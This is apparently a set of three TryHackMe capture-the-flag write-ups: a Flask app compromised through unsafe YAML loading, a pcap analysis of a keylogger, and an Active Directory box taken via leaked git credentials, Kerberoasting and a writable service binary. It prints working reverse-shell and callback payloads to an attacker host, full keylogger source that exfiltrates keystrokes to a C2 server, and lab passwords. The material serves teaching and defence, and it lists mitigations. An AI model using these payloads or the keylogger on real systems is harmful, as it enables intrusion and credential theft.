Email addresses shared casually in chat are trivially pivotable to public profile services like Gravatar, which are keyed purely off an email hash - no breach or account compromise required.
"Deleting" a profile on a linked service doesn't always mean the data is gone from every cache or API response; assume public profile data set at any point may resurface.
If reusing the same email across services, consider that hash-based lookups (Gravatar being the most common example) let anyone correlate an email to whatever profile data was ever associated with it.

TryHackMe : Beach Bar Writeup

Yogeshwar Peela — Tue, 04 Aug 2026 04:13:16 +0000

TL;DR

Beach Bar is a Flask-based "DJ booth" web app for a beach bar jukebox.
Default demo credentials (dj/dj) left enabled in an HTML comment get you
into the dashboard, which exposes a YAML playlist export/import feature.
The import endpoint calls yaml.load() with the full (unsafe) Loader
instead of safe_load, which allows arbitrary Python object construction —
and from there, arbitrary command execution via os.system. That gets a
reverse shell as bartender. A leftover --stream-pass argument visible in
the process list turns out to be a reused root password, giving a clean
path to full compromise via su root.

User flag: THM{[REDACTED]}
Root flag: THM{[REDACTED]}

1. Recon

$ nmap -A -Pn <TARGET_IP> -o nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Gunicorn
| http-title: "Beach Bar // Sign in"
|_Requested resource was /login
|_http-server-header: gunicorn

Two open ports: SSH and an HTTP app fronted by Gunicorn, redirecting to
/login. Gunicorn + a /login redirect + no other stack hints yet — this
smelled like Flask from the start, confirmed later by the session cookie.

2. Initial access — default creds in an HTML comment

$ curl -L http://<TARGET_IP>
...
<!--
    staff note: the demo DJ login is still enabled for the soft opening.
    dj / dj  -- swap this before the season starts (ticket BAR-7)
-->
<form method="post">
  <input type="text" id="username" name="username">
  <input type="password" id="password" name="password">
</form>

A staff note left in the page source hands over demo credentials directly:
dj / dj.

$ curl -L -c cookies.txt http://<TARGET_IP>/login -d 'username=dj&password=dj'

Logged in as dj, landing on a "DJ booth" dashboard with /dashboard,
/import, /export, and /logout links. The session cookie itself is a
tell:

$ cat cookies.txt
session eyJ1c2VyIjoiZGoifQ.anFasg.OtavUIDXbkEQjqjuMSAZ-vaMu2E

eyJ1c2VyIjoiZGoifQ base64-decodes to {"user":"dj"} — the standard
payload.timestamp.signature shape of a Flask itsdangerous-signed
session cookie. Confirms Flask before ever touching source code.

3. Finding the sink — playlist export/import

$ curl -b cookies.txt http://<TARGET_IP>/export
# Beach Bar jukebox playlist export
playlist:
  name: Sunset Session
  vibe: golden hour
  tracks:
    - artist: Khruangbin
      title: "Maria Tambien"
    ...

/export dumps the current playlist straight from yaml.dump(). The
matching /import page invites you to paste that YAML back in — the
classic export/import-round-trip pattern that's worth checking for unsafe
deserialization on the way back in.

$ curl -b cookies.txt http://<TARGET_IP>/import
...
<form method="post" enctype="multipart/form-data">
  <textarea id="playlist" name="playlist" ...></textarea>
  <input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
</form>

Two intake fields: playlist (raw YAML text) and playlist_file (file
upload), posted as multipart/form-data.

4. Confirming unsafe YAML deserialization

Sent a harmless !!python/object tag — not a command-execution payload,
just enough to see whether the loader would even attempt to construct a
Python object from the tag:

$ curl -b cookies.txt http://<TARGET_IP>/import \
  -F 'playlist=playlist: !!python/object/new:str {state: [pwn]}'

<h2>Loader error</h2>
<pre>Could not load playlist: dictionary update sequence element #0 has length 3; 2 is required</pre>

That error comes from inside Python's object-construction logic, not
from a "no constructor for this tag" rejection — meaning the app is not on
yaml.safe_load(). It's happily trying to instantiate arbitrary Python
objects from user-supplied YAML.

5. RCE

Confirmed with a blind OOB callback via os.system:

$ curl -b cookies.txt http://<TARGET_IP>/import \
  -F 'playlist=playlist: !!python/object/apply:os.system ["curl http://<ATTACKER_IP>:4444/rce"]'

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 56058
GET /rce HTTP/1.1

Confirmed RCE. Escalated straight to a reverse shell:

$ curl -b cookies.txt http://<TARGET_IP>/import \
  -F 'playlist=playlist: !!python/object/apply:os.system ["bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\""]'

$ penelope -p 4444 listen
[+] [New Reverse Shell] => 10.49.149.75 Linux-x86_64 bartender(1001)
bartender@tryhackme-2404:/opt/beach-bar/webapp$ whoami
bartender

Landed as bartender (uid 1001), running out of /opt/beach-bar/webapp
— confirmed by later grepping the source that this is exactly what
happened:

$ grep -rn "yaml.load\|exec\|subprocess\|os.system" /opt/beach-bar/webapp/
/opt/beach-bar/webapp/app.py:4:import yaml
/opt/beach-bar/webapp/app.py:95:            parsed = yaml.load(content, Loader=yaml.Loader)

yaml.load(content, Loader=yaml.Loader) — the full, unsafe loader,
exactly as suspected from the error message.

$ cat /home/bartender/user.txt
THM{[REDACTED]}

6. Privilege escalation — password reuse from a process argument

sudo -l failed (no password known yet), SUID/SGID enumeration and cron
jobs turned up nothing exploitable. LinPEAS's process listing was the
lead:

root  612  ... /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k

A streaming daemon running as root with its password passed as a CLI
argument — visible to any local user via ps aux or /proc/<pid>/cmdline.
Worth trying that same password for the actual root account, since ops
teams reusing a "throwaway" service password for real accounts is a
common pattern:

bartender@tryhackme-2404:/tmp$ su root
Password: SunsetSpritz2024!
root@tryhackme-2404:/tmp# whoami
root
root@tryhackme-2404:/tmp# cat /root/root.txt
THM{[REDACTED]}

Root, via straightforward credential reuse.

7. Bonus finding (out of scope of the intended path, but notable)

LinPEAS's cloud enumeration section pulled live AWS EC2 instance-profile
credentials off the IMDS endpoint (role vulnerable-machine, temporary
AccessKeyId/SecretAccessKey/session token). Worth flagging in a real
engagement as a separate SSRF/IMDS-exposure finding even though it wasn't
needed to reach root here — anything with local code execution on this box
inherits whatever that IAM role can do in the account.

Key vulnerabilities

#	Weakness	Detail
1	Hardcoded/leftover default credentials	`dj`/`dj` demo login left enabled and documented in an HTML comment.
2	Insecure deserialization	`/import` calls `yaml.load(content, Loader=yaml.Loader)` instead of `yaml.safe_load()`, allowing arbitrary Python object construction from user-supplied YAML → RCE via `!!python/object/apply:os.system`.
3	Secrets in process arguments	Root-owned `jukeboxd.py` service started with `--stream-pass SunsetSpritz2024!`, readable by any local user via `ps`/`/proc`.
4	Password reuse	The leaked service password was also the `root` account password.
5	(Bonus) IMDS credential exposure	LinPEAS retrieved live IAM role credentials from the EC2 metadata service once on-box — no IMDSv2 token hop required in this environment.

Attack chain

HTML comment leaks demo creds (dj/dj)
        │
        ▼
Login → dashboard exposes /export + /import (YAML round-trip)
        │
        ▼
/import → yaml.load(Loader=yaml.Loader)  (confirmed via object-construction error)
        │
        ▼
!!python/object/apply:os.system [...]  →  RCE as bartender
        │
        ▼
ps aux reveals root process arg: --stream-pass SunsetSpritz2024!
        │
        ▼
su root (password reuse)  →  root

Mitigations

Never ship demo/default credentials, even for a "soft opening" — remove the account or gate it behind a feature flag that can't reach production.
Use yaml.safe_load() (or yaml.SafeLoader) for any YAML originating from user input. If custom types are genuinely needed, use a restricted loader with an explicit allowlist of constructors — never the default full Loader.
Never pass secrets as CLI arguments to long-running services; use environment variables sourced from a secrets manager, or a file with restrictive permissions instead — ps//proc/<pid>/cmdline are world readable by default on Linux.
Enforce unique, non-reused credentials between service accounts and privileged human accounts (e.g. via a password manager + rotation policy), so a leaked service secret doesn't double as a root password.
Enforce IMDSv2 (token-required) on the EC2 instance and scope the attached IAM role to least privilege, so a foothold on the box doesn't automatically hand over cloud-level credentials.

TryHackMe : Packed Light Writeup

Yogeshwar Peela — Tue, 04 Aug 2026 04:06:29 +0000

TL;DR

A .pcapng capture shows a victim host on 192.168.1.141 downloading a Python
keylogger (updates.py) from an attacker-controlled "hotel update server" at
byte-lotus-hotel.thm:8080 (34.41.103.191). The script XOR-encrypts every
keystroke with a hardcoded key, base64-encodes it, and exfiltrates it inside an
HTTP Cookie header on a GET request back to the same host. Replaying that
XOR/base64 scheme against the 30 exfil requests in the capture recovers the
flag.

Flag: THM{[REDACTED]}

1. Initial triage

$ capinfos traffic.pcapng
Number of packets:   1348
Capture duration:    41.831541 seconds
Encapsulation in use by packets: Ethernet (1177), NULL/Loopback (171)

Protocol hierarchy:

$ tshark -r traffic.pcapng -q -z io,phs
eth
  ip
    tcp
      http    frames:62 bytes:37862
      tls     frames:228 bytes:133744
    udp
      ssdp, dns, quic
null (loopback)
  ip
    tcp
      data    frames:16 bytes:928

Most of the capture is background noise — TLS to search engines, QUIC,
Microsoft telemetry, SSDP. The interesting slice is the plaintext HTTP
traffic to a non-standard host, so that's where I started.

2. Spotting the payload download

$ tshark -r traffic.pcapng -Y http -T fields \
  -e frame.number -e ip.src -e ip.dst \
  -e http.request.method -e http.request.uri \
  -e http.host -e http.response.code

16   192.168.1.141   34.41.103.191   GET   /temp/updates.py   byte-lotus-hotel.thm:8080
19   34.41.103.191   192.168.1.141                                              200
391  192.168.1.141   34.41.103.191   GET   /                  byte-lotus-hotel.thm:8080
...   [repeats ~30 more times, one GET / every second or so]

Frame 16 is a normal Chrome download (User-Agent: ...Chrome/149.0.0.0...) of
/temp/updates.py from byte-lotus-hotel.thm (resolves to 34.41.103.191).
After that, starting at frame 391, the same source IP starts hammering GET /
on the same host roughly once per keypress, but with a different, custom
User-Agent. That pattern (one request per user action) screams keylogger
exfil, so the first move was to pull updates.py out of the stream:

$ tshark -r traffic.pcapng --export-objects http,./httpobjs
$ cat httpobjs/updates.py

import requests
import base64
from pynput import keyboard

C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
    p1 = "H0t3lSt@ff0Nly"
    p2 = "K3epS3cr3t!"
    return p1 + p2

def xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
    raw_bytes = character.encode('utf-8')
    encrypted = xor(raw_bytes, getkey().encode('utf-8'))
    b64_string = base64.b64encode(encrypted).decode('utf-8')

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
        "Cookie": f"hotel_sess_state={b64_string}"
    }
    try:
        requests.get(C2_URL, headers=headers, timeout=0.5)
    except:
        pass

def on_press(key):
    try:
        sendltr(key.char)
    except AttributeError:
        if key == keyboard.Key.space:
            sendltr(" ")
        elif key == keyboard.Key.enter:
            sendltr("\n")

print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

Confirms the theory: this is a pynput-based keylogger disguised as a
"hotel sync service." Every keypress is:

Grabbed individually (character is a single char).
XORed against the key H0t3lSt@ff0NlyK3epS3cr3t! (p1 + p2).
Base64-encoded.
Smuggled out as the value of a hotel_sess_state cookie on a GET / to the C2.

The key detail for decoding: because sendltr() is called once per
character, raw_bytes is always length 1. That means the XOR loop
key[i % len(key)] only ever uses index i = 0, i.e. every exfiltrated
byte is XORed with just the first character of the key, 'H' (0x48) — the
rest of the 25-byte key is never actually used. That simplifies decoding a
lot.

3. Pulling the exfil cookies

$ tshark -r traffic.pcapng -Y "http.request.method==GET" \
  -T fields -e http.cookie \
  | grep hotel_sess_state \
  | sed 's/hotel_sess_state=//' > cookies.txt

$ wc -l cookies.txt
30 cookies.txt

Sample of what's captured, in packet order (each line = one keystroke sent
seconds apart from frame 391 onward):

HA==
AA==
BQ==
Mw==
Hg==
ew==
...
NQ==

4. Decoding

import base64

key = "H0t3lSt@ff0NlyK3epS3cr3t!"
out = []
with open("cookies.txt") as f:
    for line in f:
        line = line.strip()
        if not line:
            continue
        raw = base64.b64decode(line)
        out.append(chr(raw[0] ^ ord(key[0])))   # only key[0] ('H') is ever used

print("".join(out))

$ python3 decode.py
THM{[REDACTED]}

The 30 exfiltrated bytes reassemble in capture order to spell out the flag
directly — the "victim" was literally typing the flag on their keyboard
while the keylogger phoned it home one character at a time.

5. Flag

THM{[REDACTED]}

Key vulnerabilities / weaknesses exploited (for detection writeups)

#	Weakness	Detail
1	Plaintext HTTP C2 channel	Keylogger exfil travels over unencrypted HTTP; fully visible in a pcap.
2	Weak, hardcoded, effectively single-byte XOR "encryption"	`xor()` is correct in general, but because each HTTP request carries only one character, `key[i % len(key)]` collapses to `key[0]` every time — the 25-byte key is decorative.
3	Predictable exfil channel	Cookie header on a fixed URI (`GET /`) makes the beacon trivially greppable in traffic (`hotel_sess_state=`).
4	Social-engineering delivery	Payload was served as `/temp/updates.py` from a spoofed "hotel update server," downloaded via a normal browser GET — no exploit needed, just a convincing filename/host.

Attack chain

Attacker C2 (byte-lotus-hotel.thm / 34.41.103.191:8080)
        │
        │ 1. Victim browses to /temp/updates.py (Chrome GET, frame 16)
        ▼
Victim host (192.168.1.141)
        │
        │ 2. updates.py executed -> pynput keyboard.Listener starts
        │    "[*] Byte Lotus Sync Service started..."
        ▼
Every keystroke
        │
        │ 3. XOR(char, "H0t3lSt@ff0NlyK3epS3cr3t!")  (only key[0] used, single-char msgs)
        │ 4. base64 encode
        │ 5. GET / with Cookie: hotel_sess_state=<b64>  (custom UA: ByteLotusClient/1.1)
        ▼
Attacker C2 receives exfil, one keystroke per request (frames 391–1310)
        │
        ▼
Analyst reassembles cookies in packet order -> decodes -> flag

Mitigations

Treat unsigned "update" scripts served over plain HTTP from unfamiliar hosts as untrusted; verify code signing / hashes before execution.
EDR/host monitoring for processes registering global keyboard hooks (pynput, SetWindowsHookEx, etc.) outside of known accessibility tools.
Network egress monitoring for beacon-like patterns: fixed-interval GETs to the same host/path with data hidden in headers (Cookie/User-Agent) rather than the body.
Enforce HTTPS/TLS interception or at least alerting on any outbound HTTP (not HTTPS) to non-allow-listed hosts, since it makes this kind of exfil trivially visible to anyone with pcap access (as it was here).
Rotate/derive per-message keystream material properly (e.g. real stream cipher or per-message nonce) if attackers want their own "crypto" to actually resist analysis — not that we're endorsing that goal.

TryHackMe : Enterprise Writeup

Yogeshwar Peela — Fri, 24 Jul 2026 09:18:14 +0000

Summary

Enterprise is an Active Directory box that starts as a classic external AD footprint (DNS, Kerberos, LDAP, SMB, RDP, WinRM) plus two extra web ports: an IIS site on 80 and a Bitbucket-branded login page on 7990 that turns out to actually be a copy of Atlassian's real hosted login page, complete with a company-specific banner announcing a move to GitHub. That banner is the real hint - Google dorking for the company name against site:github.com turns up a public GitHub org for the company, and digging through commit history in one of its repos (a PowerShell AD management script) surfaces a hardcoded, later-"removed" username and password that were never actually purged from git history.

Those first credentials (nik) don't get a shell directly, but they're enough to Kerberoast the domain and pull a service ticket for a bitbucket service account, whose password cracks easily with rockyou. bitbucket turns out to be a member of Remote Desktop Users, so RDP lands an interactive session and the user flag. From there, manual enumeration of Program Files (x86) (deliberately done by hand instead of an automated tool like WinPEAS, to actually understand what's being looked at) turns up a leftover ZeroTier install whose service folder is writable by BUILTIN\Users while the service itself runs as LocalSystem - a textbook writable-service-binary privilege escalation. Overwriting the service binary with a payload and restarting the service pops a SYSTEM shell and the root flag; the same weakness can also be abused "the PowerUp way" to just add a new local administrator instead.

IPs are referred to below as machine-ip (the TryHackMe target - it changed a couple of times across the session as the VPN reset) and attacker-ip (the Kali box).

Recon

Nmap - top ports

nmap -A -Pn machine-ip -o nmap

Output

Nmap scan report for machine-ip
Host is up (0.047s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: "Site doesn't have a title (text/html)."
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=LAB-DC.LAB.ENTERPRISE.THM
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Standard Windows Server / DC fingerprint: Kerberos, LDAP, SMB with signing required, RDP, WinRM. Domain is ENTERPRISE.THM, DC hostname LAB-DC.LAB.ENTERPRISE.THM.

Full port scan

The top-1000 scan is missing a lot on a box like this, so a full TCP sweep with rustscan/nmap was worth doing:

rustscan -a machine-ip
nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,7990,9389,47001,49664,... -sC -sV -oA enterprise_scan machine-ip

Key findings from the full scan

53/tcp    open   domain
80/tcp    open   http          Microsoft IIS httpd 10.0
88/tcp    open   kerberos-sec
135/tcp   open   msrpc
139/tcp   open   netbios-ssn
389/tcp   open   ldap
445/tcp   open   microsoft-ds
464/tcp   open   kpasswd5
593/tcp   open   ncacn_http
636/tcp   open   tcpwrapped
3268/tcp  open   ldap          (Global Catalog)
3269/tcp  open   tcpwrapped    (Global Catalog SSL)
3389/tcp  open   ms-wbt-server
5985/tcp  open   http          (WinRM)
7990/tcp  open   http          Microsoft IIS httpd 10.0
|_http-title: "Log in to continue - Log in with Atlassian account"
9389/tcp  open   mc-nmf        .NET Message Framing (ADWS)
47001/tcp open   http

Port 7990 was the interesting one the top-1000 scan had missed entirely - that's the default port for Bitbucket Server, and its title claims to be an Atlassian login page.

SMB null / guest session

nxc smb machine-ip -u '' -p ''
nxc smb machine-ip -u guest -p ''
nxc smb machine-ip -u guest -p '' --shares

Output

SMB   machine-ip   445   LAB-DC   Windows 10 / Server 2019 Build 17763 x64 (domain:LAB.ENTERPRISE.THM) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   machine-ip   445   LAB-DC   LAB.ENTERPRISE.THM\guest:

Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                               Default share
Docs            READ
IPC$            READ            Remote IPC
NETLOGON                        Logon server share
SYSVOL                          Logon server share
Users           READ            Users Share. Do Not Touch!

Null and guest auth both work, and there's a readable Docs share worth checking.

RID brute forcing users

nxc smb machine-ip -u guest -p '' --rid-brute

Trimmed output - user accounts

500: LAB-ENTERPRISE\Administrator (SidTypeUser)
501: LAB-ENTERPRISE\Guest (SidTypeUser)
502: LAB-ENTERPRISE\krbtgt (SidTypeUser)
1000: LAB-ENTERPRISE\atlbitbucket (SidTypeUser)
1001: LAB-ENTERPRISE\LAB-DC$ (SidTypeUser)
1104: LAB-ENTERPRISE\ENTERPRISE$ (SidTypeUser)
1106: LAB-ENTERPRISE\bitbucket (SidTypeUser)
1107: LAB-ENTERPRISE\nik (SidTypeUser)
1108: LAB-ENTERPRISE\replication (SidTypeUser)
1109: LAB-ENTERPRISE\spooks (SidTypeUser)
1110: LAB-ENTERPRISE\korone (SidTypeUser)
1111: LAB-ENTERPRISE\banana (SidTypeUser)
1112: LAB-ENTERPRISE\Cake (SidTypeUser)
1116: LAB-ENTERPRISE\contractor-temp (SidTypeUser)
1117: LAB-ENTERPRISE\varg (SidTypeUser)
1119: LAB-ENTERPRISE\joiner (SidTypeUser)

Extracted a clean users.txt from this list (Administrator, Guest, krbtgt, atlbitbucket, bitbucket, nik, replication, spooks, korone, banana, Cake, contractor-temp, varg, joiner) and confirmed them all as valid usernames against Kerberos with kerbrute:

kerbrute userenum -d LAB.ENTERPRISE.THM --dc machine-ip users.txt

All 13 non-machine accounts came back as valid, confirming the account list is accurate.

The Docs share - a deliberate dead end

smbclient //enterprise.thm/Docs -N
mget *

Pulled down RSA-Secured-Credentials.xlsx and RSA-Secured-Document-PII.docx, both password-protected Office files (file identified them as CDFV2 Encrypted). Extracted hashes with office2john and threw rockyou at them with john:

office2john RSA-Secured-Credentials.xlsx > hash.txt
office2john RSA-Secured-Document-PII.docx >> hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

This didn't crack in any reasonable time, which was the signal that this wasn't the intended path - real Office encryption is expensive to brute force, and an "easy" box wouldn't gate the real path behind that. Moved on and left these files uncracked.

Finding the GitHub org

The Bitbucket-styled login page

curl http://machine-ip:7990/

The page rendered as a pixel-perfect copy of Atlassian's real id.atlassian.com login page, but with a custom banner injected above the login form:

Reminder to all Enterprise-THM Employees:
We are moving to Github!

Log in to your account

Wappalyzer confirmed the stack as IIS 10.0 plus Apple/Atlassian sign-in bits - basically a static clone of the real login page, not an actual live Bitbucket instance. The banner text is clearly the important part here: a nudge toward GitHub.

Google dorking for the GitHub org

"Enterprise-THM" site:github.com

This turned up a real GitHub organization: github.com/Enterprise-THM, with one repo, About-Us.

git clone https://github.com/Enterprise-THM/About-Us

README.md

### Welcome to Enterprise.THM

Enterprise.THM is the latest and greatest company on the NYSE. Later on, you'll be able to view all of our awesome free, open source trading algorithms.
Stay tuned for more details.

- Enterprise.THM Team

Nothing sensitive in the current file, but always worth checking git log on a repo like this - a leading hint that there might be more:

git log --oneline

41a9956 (HEAD -> main, origin/main, origin/HEAD) Update README.md
3bd74df Create README.md

Both commits just tweak formatting on the README, no secrets here - but this confirmed the org is real and gave a real author identity to pivot on: Sq00ky. Checking the org's people page directly was more productive:

curl -s https://github.com/orgs/Enterprise-THM/people -o people.html
grep -oP 'href="/[^"]+"' people.html

That turned up a second GitHub account: Nik-enterprise-dev - matching the nik username already seen in the AD user list. Their profile had one public repo: mgmtScript.ps1.

The leaked credentials

git clone https://github.com/Nik-enterprise-dev/mgmtScript.ps1
cat SystemInfo.ps1

Current file contents

Import-Module ActiveDirectory
$userName = ''
$userPassword = ''
$psCreds = ConvertTo-SecureString $userPassword -AsPlainText -Force
$Computers = New-Object -TypeName "System.Collections.ArrayList"
$Computer = $(Get-ADComputer -Filter * | Select-Object Name)
for ($index = -1; $index -lt $Computer.count; $index++) { Invoke-Command -ComputerName $index {systeminfo} }

Empty username/password in the current version - but the commit history tells a different story:

git log

commit c3c239df75fefbe7563d1d29c963ba1f01e4fe5a (HEAD -> main, origin/main, origin/HEAD)
Author: Nik-enterprise-dev
Date:   Sat Mar 13 20:09:16 2021 -0500

    Updated things

    I accidentally added something

That commit message is basically a confession. Diffing it confirms it:

git show c3c239df75fefbe7563d1d29c963ba1f01e4fe5a

 Import-Module ActiveDirectory
-$userName = 'nik'
-$userPassword = 'ToastyBoi!'
+$userName = ''
+$userPassword = ''

Blanking out the values in a new commit doesn't remove them from git history - the old commit (and the credentials in it) are still sitting right there. That's nik:ToastyBoi!.

Validating and using nik's credentials

nxc smb machine-ip -u nik -p 'ToastyBoi!'
nxc ldap machine-ip -u nik -p 'ToastyBoi!'
nxc winrm machine-ip -u nik -p 'ToastyBoi!'

Output

SMB    machine-ip   445    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
LDAP   machine-ip   389    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
WINRM  machine-ip   5985   LAB-DC   [-] LAB.ENTERPRISE.THM\nik:ToastyBoi!

Valid on SMB and LDAP, but no WinRM - nik isn't in a group that grants remote PowerShell access. Used bloodyAD for LDAP enumeration from here on since BloodHound's own collector partially failed to ingest cleanly in this session:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get object nik

Confirmed nik is a normal domain user (NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD) and a member of the Contractor and Password-Policy-Exemption groups. Checked what nik could actually write in the directory:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get writable

Nothing exploitable there beyond nik's own object. The next natural step for any authenticated domain user is checking for Kerberoastable service accounts:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get search --filter '(&(objectClass=user)(servicePrincipalName=*))'

That search returned the DC's own machine account (expected) and, more usefully, a bitbucket service account with an SPN of HTTP/LAB-DC - a genuine human-managed service account with a Kerberoastable SPN.

Kerberoasting the bitbucket account

impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:'ToastyBoi!' -dc-ip machine-ip -request

Output (ticket truncated)

ServicePrincipalName  Name       MemberOf                                                       PasswordLastSet             LastLogon                   Delegation
--------------------  ---------  -------------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/LAB-DC           bitbucket  CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM     2021-03-11 20:20:01.333272  2021-04-26 11:16:41.570158

$krb5tgs$23$*bitbucket$LAB.ENTERPRISE.THM$LAB.ENTERPRISE.THM/bitbucket*$...[truncated]...

Saved the ticket to bitbucket.hash and cracked it offline with rockyou:

john --wordlist=/usr/share/wordlists/rockyou.txt bitbucket.hash

littleredbucket  (?)
1g 0:00:00:00 DONE

Weak password, cracked almost instantly - bitbucket:littleredbucket.

Validating bitbucket

nxc smb machine-ip -u bitbucket -p littleredbucket
nxc ldap machine-ip -u bitbucket -p littleredbucket
nxc winrm machine-ip -u bitbucket -p littleredbucket

Same pattern as nik - valid on SMB/LDAP, not on WinRM. Checked group membership:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u bitbucket -p 'littleredbucket' get membership bitbucket

Users
Remote Desktop Users
Domain Users
Password-Policy-Exemption
sensitive-account

Remote Desktop Users is the important one here - bitbucket may not have WinRM, but it should be able to RDP straight in.

A side quest that didn't pay off: the Contractor group

While enumerating groups, the Contractor group's description field stood out:

bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u bitbucket -p 'littleredbucket' get search --filter '(description=*)' --attr description

distinguishedName: CN=Contractor,OU=Employees,OU=Staff,DC=LAB,DC=ENTERPRISE,DC=THM
description: Change password from Password123!

That's the contractor-temp account's default password sitting in plaintext in an AD description field. Tried it:

nxc smb enterprise.thm -u contractor-temp -p 'Password123!'
nxc ldap enterprise.thm -u contractor-temp -p 'Password123!'
nxc winrm enterprise.thm -u contractor-temp -p 'Password123!'

Valid on SMB and LDAP, but not on WinRM, and contractor-temp isn't in Remote Desktop Users either - so this credential doesn't actually grant an interactive foothold. Worth knowing about, but not the intended path forward; bitbucket's RDP access was.

Foothold via RDP as bitbucket

xfreerdp3 /v:LAB-DC.LAB.ENTERPRISE.THM /u:bitbucket /p:'littleredbucket' /d:LAB.ENTERPRISE.THM /w:1280 /h:800 /dynamic-resolution /cert:ignore

That dropped straight into a full interactive desktop session on LAB-DC as bitbucket, with a text file named user sitting on the desktop:

type user

[REDACTED]

Confirming the foothold from a shell

Opened a cmd.exe window inside the RDP session to poke around more comfortably:

whoami
whoami /all
net user

Output (trimmed)

lab-enterprise\bitbucket

Group Name                                 Type             SID
BUILTIN\Remote Desktop Users               Alias            S-1-5-32-555
BUILTIN\Users                              Alias            S-1-5-32-545
LAB-ENTERPRISE\sensitive-account           Group            ...-1115
LAB-ENTERPRISE\Password-Policy-Exemption   Group            ...-1113

User accounts for \\LAB-DC
-------------------------------------------------------------------------------
Administrator  banana  bitbucket  Cake  joiner  korone  krbtgt  spooks

Just a normal domain user, no special local privileges yet - the escalation path had to come from somewhere on the box itself.

Privilege escalation - a leftover ZeroTier install

Instead of running an automated privesc script blind, manually walked through Program Files and Program Files (x86) looking for anything that didn't belong on a stock DC image:

cd "Program Files (x86)"
dir

Everything else was expected Windows/.NET/Google noise, except one directory that had no business being on a domain controller:

03/14/2021  05:36 PM    <DIR>          Zero Tier

cd "Zero Tier\Zero Tier One"
dir

03/14/2021  05:32 PM             1,465 regid.2010-01.com.zerotier_ZeroTierOne.swidtag
12/05/2014  11:52 AM         9,594,056 ZeroTier One.exe

Checked the corresponding Windows service:

Get-Service -Name zerotieroneservice | Select-Object *

Name          : zerotieroneservice
Status        : Stopped
StartType     : Automatic

Automatic-start service, currently stopped, running as LocalSystem per its config. That combination (a service that runs as SYSTEM, tied to a binary sitting in a directory a low-privileged user might be able to write to) is a well-known Windows privilege escalation pattern.

Confirming the weak permissions

Get-Acl -Path "C:\Program Files (x86)\Zero Tier\Zero Tier One\" | Format-List

Output (relevant lines)

Owner  : NT AUTHORITY\SYSTEM
Access : BUILTIN\Users Allow  Write, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize

There it is: BUILTIN\Users - a group bitbucket is a member of - has Write access to the service's install directory, even though the service itself runs as NT AUTHORITY\SYSTEM. That means any authenticated user can drop a new file into that folder, including one that replaces the legitimate ZeroTier One.exe.

To confirm this programmatically instead of relying only on manual Get-Acl reading, pulled down PowerUp.ps1 from PowerSploit and loaded it (the first download attempt actually saved an HTML error page instead of the raw script, which is why the first Import-Module attempt failed with CSS/JS parse errors - re-downloading the raw file fixed it):

Invoke-WebRequest -Uri http://attacker-ip/PowerUp.ps1 -OutFile powerup.ps1
. .\powerup.ps1
Get-ModifiableServiceFile
Get-UnquotedService

Relevant PowerUp output

ServiceName                     : zerotieroneservice
Path                             : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFile                  : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFilePermissions       : {WriteAttributes, Synchronize, AppendData/AddSubdirectory, WriteExtendedAttributes...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'zerotieroneservice'
CanRestart                      : True

